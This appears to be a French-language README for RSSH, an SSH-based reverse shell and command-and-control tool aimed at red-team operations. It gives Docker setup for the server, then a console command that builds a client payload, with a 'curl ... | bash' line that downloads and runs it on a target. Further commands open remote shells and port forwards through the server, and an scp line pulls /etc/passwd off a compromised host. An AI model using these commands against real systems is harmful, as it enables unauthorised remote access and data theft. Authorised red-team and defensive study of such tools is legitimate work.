
Outil de gestion de shell inversé basé sur SSH avec prise en charge native de SCP/SFTP, multiples protocoles de transport, génération de DLL Windows et exécution sans fichier pour les opérations d'équipe rouge.
![]()
(Crédit artistique à https://www.instagram.com/smart.hedgehog.art/)
Vous voulez utiliser SSH pour des reverse shells ? C'est désormais possible.
SCP et SFTP pour récupérer des fichiers depuis vos cibleshttp, websockets, tls et plus encore +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
La version conteneurisée est recommandée car elle inclut la bonne version de golang, ainsi qu'un compilateur croisé pour Windows.
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
ou docker compose :
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
Toutes les commandes prennent en charge l'option -h pour afficher l'aide.
Ensuite, les commandes ssh habituelles fonctionnent, il suffit de spécifier votre serveur rssh comme hôte de rebond.
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
Vous pouvez trouver une documentation plus complète dans le dossier docs. Cela inclut un aide-mémoire, un guide de dépannage et plus encore.
Un immense merci aux personnes suivantes pour leurs dons au projet RSSH et pour avoir rendu tout ce travail possible !
chikamobina pour ses généreux dons !
wrighterase (ctrlzero) pour ses contributions et ses dons !
Carapace est un cabinet de conseil en sécurité basé en Nouvelle-Zélande avec une équipe extrêmement talentueuse !

La façon la plus simple de contribuer au projet RSSH est de trouver des bugs, d'ouvrir des demandes de fonctionnalités et d'en faire la promotion par le bouche-à-oreille auprès des personnes qui, selon vous, le trouveront utile !
Cependant, si vous souhaitez me donner quelque chose directement, vous pouvez le faire soit via GitHub Sponsors, soit en envoyant à l'un des portefeuilles suivants :
Monero (XMR) :
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC) :
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr